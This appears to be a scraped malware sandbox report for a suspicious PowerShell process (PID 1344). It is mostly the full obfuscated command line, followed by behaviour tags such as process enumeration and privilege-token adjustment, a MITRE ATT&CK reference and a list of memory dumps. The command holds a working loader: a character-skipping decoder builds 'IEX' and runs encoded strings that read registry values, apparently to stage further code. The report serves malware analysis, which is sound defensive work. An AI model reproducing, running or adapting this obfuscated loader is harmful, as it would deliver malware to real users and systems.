7KoBEm0NoBGe9heFSc7GyFFr0Ph8TaDSeBTaBRuAHeAPa9Kl7StBCh3MbACaEObBRi2CaBCoBCoBTe3FaBUcBAnBDe0AuANaAfeBDuFDdAOmAMeBSa7OeBBe1RiBAl0Om9Ce8pyBBr2InBMaFCiBPo9ViAClDasFEn6RaFMoAIn9An8HuACoCIcBImBStBDr0FuBUdBOtAhuAEfBBu7EsBBuDUfBFeFStBPr2FlETa9KoFWo7Op'Te;Sa&Pa(Ta`$PaVHueBenLosmokStaPsbFeeHarSt7Be)pa Im`$HiKUnaTrtTetFiesiuPirUntLasMe3Da;Af`$FrKMaaLatBatAneRauMurPhtAusse4No Bl=St GaHbrTNoBUn To'DeFAcAFo9Sh3WiBNd7HiBsu0AlBRa7GeBSa1PaBSt0HoBDe2SeASk7WiFIn0Re9DrABiBUnBBeBFo8HiBRe7SlBTh0FoBAcBGo9Fu3NeBthBHiAStACoBAn6BrBUn1ReBSlAMoFTe6AdFNoATr8Re8KoBAlBReBtr0AdAPoDGrBFo5ReBGuFBiBPrCOuBUnBLaACyCBeEMiCHjFBa2UnFDaETyFStASo8Lu8AcBUnBInBSk0MeAChDPrBRe5PeBKvFLiBslCReBAfBmeAgrCSaEMaDDeFUo2KaFKaEQuFPrACr9li5UnBSeFArBCh2piBUs5DeBUn5UdACaBHeBDe2thBSkBSoAFaCDuBne0HaBInBLiFMo2VkFWaESuFDeASm8DuBKrBMi0DiBfoAEfBThBArAPaCFoBAnCDoBpaBJuBMe8YaBCe1AlBan2CoBUd5LyBHj0EgBHe7LiBKo0TrBFr9DeFDi7VeFLu0Un8OvDFoBLwBBrAAsASt9Cu7glBPr3SwAbiEFoBCh2UsBTrBAdBGe3OrBKoBFrBAl0HuASmADyBSmFViAUnAFrBHk7LyBBh1TuBSk0Ga9Ag8KiBVa2paBMiFFuBTy9SpAOkDJaFIs6RkFydAEs9pr8PeAPiCprBBrBDeBGa0CoBGrBErAVaAFlBDo7ReBHdDheBEjFPiBLa2GaEDi9gaFde7Ri'Su;Zo&sh(Ty`$InVIneDonResGekMaaFobPreByrFo7la)En Po`$PiKLiaKatSetfoeGuuKorKrtQusEn4ma;In`$AnKEkaAatSytSteStuSerOrtousTu5Ge Nu=Di TaHGgTGaBAb ul'ReAafCDeBkrBMaADiAEnAStBKoARaCLeBCh0BeFTrEMeFBeAFa9Bi3DeBGe7MaBNo0HjBGo7CiBMi1VeBAs0DyBKd2DaAGl7SkFEs0Hu9SoDgaAHaCStBHoBSkBAfFOpACoAFlBGaBOp8RoATiASp7kaAKiEFiBPeBPrFTo6UdFSc7Bi'Ri;em&Af(Or`$BeVObeSunBrsBekSlaFubPoeOkrTj7di)Pe Pb`$AdKFeaMotUdtUneNauMarGatresPr5en Ph Fl Ub;Tr}Wc`$TrFKojSkeCurAknKabBeeTrtCajWoeInnFiiFenRogFisPeeOunAshAfeKldBa4Ja1Is Vv=Sn RiHunTAvBMi Pa'HeBIn5RaBErBbrAseCSaBHa0FlBSmBClBem2DaEDiDSiEFoCIm'Ph;Af`$PaKPhaVetAftNoeGluLirIntInsBi6Fo Ss=Bl UdHPrTFoBSu Pr'trFMaASk8AsEEsBBr2SkBVeFInBHe9UdBSmBSaAAaCKoBBa7SoFSeEKaEFo3PhFPoEvu8De5Ba8HoDBlAKo7SyATjDAlADaAMaBHeBRoBMa3KiFhu0iv8GeCCiAEsBNoBSt0fiACrABoBSu7AtBso3neBTrBKlFMe0Re9ja7SlBUh0UdAPeANoBIgBReADeCGeBPr1SiAFoEGu8foDGyBSqBSuACiCNoANo8SaBGr7KuBStDTiBPeBSoAAkDSpFHe0Jo9St3KaBNaFspADiCTvACaDRoBMa6AeBSuFEsBfl2di8La3ElEUr4SpELa4De9ec9FoBGuBHaASuAMa9FaADiBSeBReBLa2BnBSaBTiBAp9CoBGiFSaAUnAMoBPrBAn9Ko8AlBRo1WiAToCSm9Fr8KoAfoBUnBBr0FoBKoDCoAInAAkBDe7AnBSk1IkBSa0Co8ReESoBBa1SeBTr7UnBLi0DeAEfAFoBAkBSkAAnCUnFSe6SaFBl6DrBva8SkBSy5VaAEsEBaFKiEAsFceAGe9Sa8FoBRe4RuBToBquABaCQuBRe0NiBMaCVeBRoBTrASpAFoBFo4FoBInBVaBEg0MoBTo7udBPe0HuBDo9TrAFoDUrBVaBExBDe0LeBGr6ReBVeBGaBExAEuEGrAVeEKaFHoFPrETeFUnAWi8Kr8YuBSlBFoBHa0InAPrDdiBFi5VoBHvFasBAfCCeBBoBFlAWaCLaELaAInFLe7DeFRo2ToFAnEpsFRi6Fl9Pi9Sa9TeASk8WhADaFFiEHe9KaESkFno6qu8Il5Pe9Hi7biBAl0PhAPhAEk8FoESmAOcAUnABoCSi8Ma3AsFCe2StFOeEAs8Pl5Ko8EnBMi9pa7UgBFi0PlAVaAFlECaDCoEAfCNo8In3KaFRe2IrFScESo8Vi5Br8DoBPr9Un7TuBWi0AsAFoARaEEnDStEPeCli8Ha3OoFSc2CeFTrESu8Pe5Ba8DeBPl9In7ScBMa0SlAEnAAnESuDHeEAnCAm8Fr3UnFFl7StFLiEinFWo6Lr8Fi5Ty9ch7FaBre0HjAtaAti8NoENeACoAGaAQuCPu8De3StFFi7ErFud7SiFTi7Bo'Ma;Te&Bl(Sl`$miVKaeflnCasPekAfaMibDeeAgrMi7Ma)To Su`$FoKSkalotCotaresiuAsrGitBlskn6Fa;Ta`$atCSteFicAkoChtVsoIlmbeyTr St=Fl FrfRekTipGe Lu`$AnVGoeAbnMasHakKlaMabFreArrAn5St Ko`$NoVMyeMinstsSakFoaSpbEmeCorSa6Ne;Fe`$BoKBoaArtGltEreFruUnrSatShsSk7Sl De=Fr FlHCaTAcBKi Cl'DeFZoABa8ApAChBAf1NiBAn9StAOrDInAHoASuBSeBDeASu9IsBAnFGeASuCReBBeAOuBDeBDyAFoDNdAUnDMaBDeBCuBTu0RrAUnDReEHoDFrFMuEAbEBo3FoFAnEscFWhAIn8SjERaBSh2SlBAaFviBSe9MiBFuBWaAshCSiBGe7MiFHo0Wo9Un7AfBMa0MaABe8trBCo1HeBBu5AkBPoBRoFin6Je8Ka5So9Da7EsBDa0AtATrAKa8AfEDeAUnAApAViCEr8Gu3HeEAx4FoEPa4Al8Un4CyBspBAkAArCEfBGo1SpFLa2fiFWiEfaEbaCEmELeFMaEbe7FlEDe7PsEGeBReFAn2frFCrEdeEMiEBlATu6PaEMiDGyEMeEReESvEHlEspESnFEp2BeFBoESpEslEBrARe6MaESuAfaEDeEkuFWi7Fu'Ta;No&Ja(be`$AlVMueBrnPrsDekcoaIrbPreStrGe7Du)Re Co`$StKOvaSptIntWhePauForIotAssSa7Bo;Gu`$SeKIraKetSttFeeKauskrwotTosSt8Ku Ge=Mi OpHDrTsvBEk Ar'CoFSuAGr8Ku9teBUn6ReBRo7InABoATuAGeAJuBRuBPrAbeCHeFFuEDeEOx3UnFReEraFInADe8SiEamBOp2NuBstFSyBNr9puBTiBPlAAsCKiBMo7BaFHe0No9Re7ovBOp0MoAFr8WeBIs1StBHo5LuBLiBGiFSk6Al8Ri5Un9Na7CaBTh0StANoAMi8arEUvABlAreAMiCFj8Mo3TrECh4BeETe4Sn8Im4AsBIsBYdAMeCReBSk1SlFPr2FlFPoESpEOpEPaALi6WuESpFPaEReEDaESpERiEUnEUsEasEvoECoECrFgr2TaFOpESlESnEDiABa6BoEIsDOuEGeEAuEAnEinELiEHjFNe2coFNeEBeEPhERhAre6UnEHuAdaFTv7Mi'Fo;Pe&Na(Ko`$MyVTiefonVusBukUtaHebGheUdrAu7Ud)Te Sy`$IsKBraPrtAstCaeLouForTatViskl8Gi;Uo`$TrRSkiBegLesSifUnlMalOveTaskosOvkOpaUnbDeeYerBe2Mt2pr5ac=Pe(AmGNoeFatco-SyIOptNieDemOrPKorraoChpSteCirSatBoysa Fi-FaPJuaCutEshTy Ad'TaHSkKSpCCoUAf:Bu\HaiInnUndKatmirDuuFrkernReeTusKa\FoSAucSnhSpiSklStleneDerCoiBezFiiChnAfgVi'pr)In.DrTKoyNebNoashlNytOm;He`$BnKOvaWitHetUneRauOrrFutUtsEc9Si To=In LaHpeTBlBFa Sk'GeFHjAVa9Ho5OvBKnFEnAFaALaAheAFoBroBSvAKoBUdAReCFlANiACaAAvDAfFBaEFaEFj3OpFHoEEf8Ha5Or8AgDShABe7RaASuDLuAPhAEeBBrBLoBKa3diFSt0Fe9FeDBrBMa1ReBkl0LoATe8CoBFiBOdACaCAmAVaATa8Sa3SiEHy4ErEBl4Ma9To8LoAUvCstBRa1inBUa3Ga9GrCCoBDeFReANoDFrBSlBGyEWh8SpEElAno8TjDLeAKrAIrAUnCVeBAl7SoBCh0FlBCo9HyFGa6NaFCaABe8AfCGiBMo7ScBKi9SgAEnDDiBYa8MoBPo2OtBFo2SlBPeBToAUnDHoAPrDDoBBe5MaBNgFFeBUnCfoBbrBPoAZeCViEDaCUnEfiCCaEMaBDrFPi7Ca'Sk;Sy&St(Ep`$EfVAuePrnunsLaksyaAcbAueFurVi7Dr)Ga Di`$HeKViaIntChtIseSeuMerCotQusAn9Pr;Ch`$beRKmiPrgSksNifSklAnlSteMesLysBekEfaUnbOpeSprUn2Un2Re5sp0Th Un=Do BeHMoTChBDa Bn'La8pr5in8unDFaATi7EnAReDHeAUnASeBTeBDeBMe3BeFMa0Tr8ReCKoANoBUnBHi0PiACoAEkBDi7GrBSu3PeBgoBnoFEv0Li9Ha7PaBDa0AsAJuAUnBUbBirAFlCSpBil1TeAGeERe8BaDPaBNoBUnAUnCYaAIm8KiBAs7AnBDeDMaBBiBLaAStDLaFPa0No9Fe3StBLiFTaAUnCSiACoDKaBSu6BiBGoFGaBTr2Re8Pr3ReEMd4spEHe4Bo9frDAnBGa1doAFoENoAFr7WeFNe6EsFKvARo9eu5SpBAkFFoAbrALuAPaASaBSpBDeAAxBmeAPlCSaAAsAClAHeDNoFFr2BoFEnEPaEInEkeFPe2FlFAbELsFGrEPlFCuACh8MiAKoBSu1DeBex9BoASvDAnAVaANeBstBDdANa9MiBAnFSsAKuCRoBOmAGaBPaBGrARaDGeANoDTeBreBKeBEv0drAMiDHuEBeDTrFHe2MiFSuEBrEHyCBrEPrFVaEKn7MiEIn7YaEDiBSmFMu7Sk'An;Gr&Kl(fi`$PrVCoeNenTrsShkDoaAdbHeeSurTo7In)Ps Up`$RaRFriVogStsPafSclsqlSiefisFosMukBlaKobPeeFrrDa2Ti2We5Pl0Ou;On`$DeLSudMarMeesapSmlOpeTojApeUn=Br`$CoKPuaHotHitCieSiuMdrShtAbsRe.UncTookouDrnCotHa-Pr2La1Kv9Pa9Po5Mi;Et`$DeRspiDegCosLofBilFilHeeAdsMisblkDyaRobSteFerTu2Pi2Di5Tk1Ny Be=Fa InHDaTSkBme ti'Sn8Pe5Di8UnDKoALa7BaATiDTtAViAQuBCiBTaBFe3SkFKo0Ba8AnCBaAunBweBin0MaATeATrBCr7ViBAz3UbBKyBShFBa0En9bo7SjBOp0PhAReAAnBSaBPrAArCGaBAm1OvACeEGr8BoDtrBDeBEpAEjCBeAEk8ReBDa7OwBkoDEmBApBOvASiDOuFTe0Ta9Go3LeBBoFLrADiCFoAFaDTiBbl6UnBKoFisBFe2Sa8Ji3UnEOv4PrEAu4ru9CoDolBRo1PrAMaEPaAUn7DeFSy6WaFNoAGu9Um5UlBReFBoAUnAPrAPlAJaBNyBNoAUdBBrAhaCpaARiAReAVkDSlFUn2MyFinEPsEEmCmcECoFHaEmy7BoEUl7ReEMuBMeFNo2FrFBiEAfFTuANa8No9StBSa6ToBSo7NaABoAPrAUnAKaBMiBInAPhCFoFSk2PhFDiEPuFunApl9Go2ArBVaABeAalCFlBDeBInAFrETaBSt2ReBTaBPoBFl4OuBSeBShFNo7Va'Ca;Br&Th(Sj`$SpVUneHenUksKekFiaShbAnePorPs7Ha)Ac Sc`$UdRspiDigResBrfStlNelcoeElsresFekWaaNybJaeDarFa2Ma2By5Ji1Wa;In`$DeRDuiUpgRhsUnfUdlUblSpeImsRosChkSeaTabEueUnrGr2In2Ra5Ae2ud Sl=La MiHTrTUnBIn Au'HoFOxACa9rhDLaBHa6BaBUn2FrBHy1KaAToCStBEp1BoBOpDMaBKrFHaAMaCThBGaCSeBAn1PsBBe0naBAcFOsAFoABrBNoBCrFHeETeEOr3EkFAlEDa8ta5Fa8XeDEsAHo7AmAUdDSsAFaAAbBReBAmBKa3ReFSt0Cl8NiCHeAOpBPjBco0DaAStATrBLa7SuBGr3ReBBaBChFle0Mu9Af7SiBka0DiACrAEmBFrBBaASoCBoBKo1RaATrEsh8AuDMaBLaBKaAChCFoASp8PaBGr7FrBUlDKoBEsBAnAMyDKrFAf0Mi9Mn3EuBCaFVeAlaCPhALdDPsBUd6LeBAsFShBfr2Pe8Ar3DeESi4FlENo4fa9En9MaBInBpaAAsATu9UnAReBBeBDiBPr2PeBInBTiBFl9ByBArFFlAArAFoBCaBBe9Hj8AnBMa1AgADeCRe9Au8hiAStBAoBOm0ReBChDFoACeAGrBMe7SaBRi1aaBIn0Fr8yeEThBUd1StBCa7KoBSa0ReASiAReBReBGrAHyCVeFWi6PoFCoAUn8SiAAgBPr1RnBsv9FrAanDAwAUnAAnBTsBArACa9UnBBrFFlAAdCHeBStABeBBeBInATrDStADeDstBEfBPrBKl0TeAStDpeEUdDStFDe2DeFNoEBrFVa6Ka9Ch9Ve9spATo8GeANuFChEHi9UnEThFWi6Be8Mo5Lo9Kl7SaBFr0paABeASa8CaEReAOtAGaAReCKo8Si3PoFSk2Bu8dr5Un9Al7FrBMo0GaADrAOv8CoESeAluAAnAniCel8Se3UlFFj7faFSkESoFli6Te8Pr5ty8Un8ByBBe1CoBDk7ChBReABe8Un3TeFge7TeFSp7FlFIn7as'Mo;My&pi(Wa`$PoVApeCrnReshykAkausbHyeHirVr7Sa)Pu Sk`$DeRKoiOsgEusTefLelUdlTaeAtsMisAmkDeaSabAnePorHy2Ep2gl5Fr2ab;Su`$StRCliGrgCosHofRelLulcaebesBusKokTeaSybAleScrMa2Di2Pa5be3Ju Ch=Ex PiHFoTStBGi Ne'UdFNeAUn9PeDFiBbu6NaBFu2QuBHe1MiAAlCAnBKy1MiBKrDReBUnFAnABeCspBMaCriBOf1UnBRo0UrBVeFNoAViAAfBPhBUdFIn0Nu9In7TiBex0DrAFa8RaBId1UrBTo5PlBInBPrFFr6PeFTaAOv8Sb9SlBTo6WaBLi7HeACaAPeAEnACoBAfBZuANoCTpFKi2TeFFoACo9GlDAfBAnBMiBSuDFaBRe1SvAOuABrBSp1ShBVu3NsACa7poFGo7So'Ut;Bu&Lr(Ex`$RuVRueUpnTesMikAraEabJaeUdrDe7Re)Un Ne`$BeRDiiDugStsPofDelSylEoeResKrsPakEfaTwbAneChrFe2st2De5Un3Un#Ax;""";;Function Rigsfllesskaber2259 { param([String]$Busforbindelsens); For($outclimb=2; $outclimb -lt $Busforbindelsens.Length-1; $outclimb+=(2+1)){ $Torose = 'subs'+'tring'; $Adolf = $Adolf + $Busforbindelsens.$Torose.Invoke($outclimb, 1); } $Adolf;}$Skrhatten0 = Rigsfllesskaber2259 'ArIByEHaXPe ';$Skrhatten1= Rigsfllesskaber2259 $Sagtnede;&$Skrhatten0 $Skrhatten1;;"2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1344
Network
MITRE ATT&CK Enterprise v6
Replay Monitor
Loading Replay Monitor...
Downloads
-
memory/1344-132-0x0000000000000000-mapping.dmp
-
memory/1344-133-0x0000000003040000-0x0000000003076000-memory.dmpFilesize
216KB
-
memory/1344-134-0x0000000005B50000-0x0000000006178000-memory.dmpFilesize
6.2MB
-
memory/1344-135-0x0000000005990000-0x00000000059B2000-memory.dmpFilesize
136KB
-
memory/1344-137-0x0000000006180000-0x00000000061E6000-memory.dmpFilesize
408KB
-
memory/1344-136-0x0000000005A30000-0x0000000005A96000-memory.dmpFilesize
408KB
-
memory/1344-138-0x0000000006840000-0x000000000685E000-memory.dmpFilesize
120KB
-
memory/1344-139-0x0000000007FE0000-0x000000000865A000-memory.dmpFilesize
6.5MB
-
memory/1344-140-0x0000000007980000-0x000000000799A000-memory.dmpFilesize
104KB
-
memory/1344-142-0x0000000007B70000-0x0000000007B92000-memory.dmpFilesize
136KB
-
memory/1344-141-0x0000000007BE0000-0x0000000007C76000-memory.dmpFilesize
600KB
-
memory/1344-143-0x0000000008C10000-0x00000000091B4000-memory.dmpFilesize
5.6MB
-
memory/1344-145-0x0000000007960000-0x0000000007FDA000-memory.dmpFilesize
6.5MB
-
memory/1344-146-0x0000000007960000-0x0000000007FDA000-memory.dmpFilesize
6.5MB
-
memory/1344-147-0x0000000007960000-0x0000000007FDA000-memory.dmpFilesize
6.5MB
-
memory/1344-148-0x0000000007960000-0x0000000007FDA000-memory.dmpFilesize
6.5MB